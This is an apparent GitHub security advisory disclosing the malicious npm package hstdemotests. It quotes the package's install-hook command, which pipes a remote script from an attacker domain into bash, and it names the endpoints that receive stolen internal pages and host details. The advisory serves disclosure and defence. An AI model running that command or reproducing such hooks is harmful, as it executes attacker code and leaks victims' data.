Malicious code in hstdemotests (npm)
- GHSA-v63h-mgc2-6vj4
Description
`hstdemotests` runs `curl new.www.hardlic.top/1.sh|bash` in both `preinstall` and `postinstall`, executing a remote script on every install. On `require`, `index.js` fetches an internal page (`http://tst.woa.com/flag.html`) from the victim's network and POSTs its content to `http://new.www.hardlic.top/recive.php`. A bundled `demo.js` collects `whoami`, the hostname and `ifconfig`/`ipconfig` output and POSTs them to `http://new.www.hardlic.top/cnbos.php`. Sibling of `hstdemotest`. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/b898a012b7d4c9d139a04141e5e4359c2df6c601/osv/malicious/npm/hstdemotests/MAL-2026-19949.json))
Text from the GitHub Advisory record.
Affected
hstdemotestsnpm
- No versions listed
Timeline
- Published
Related news
No article from the followed outlets names this vulnerability.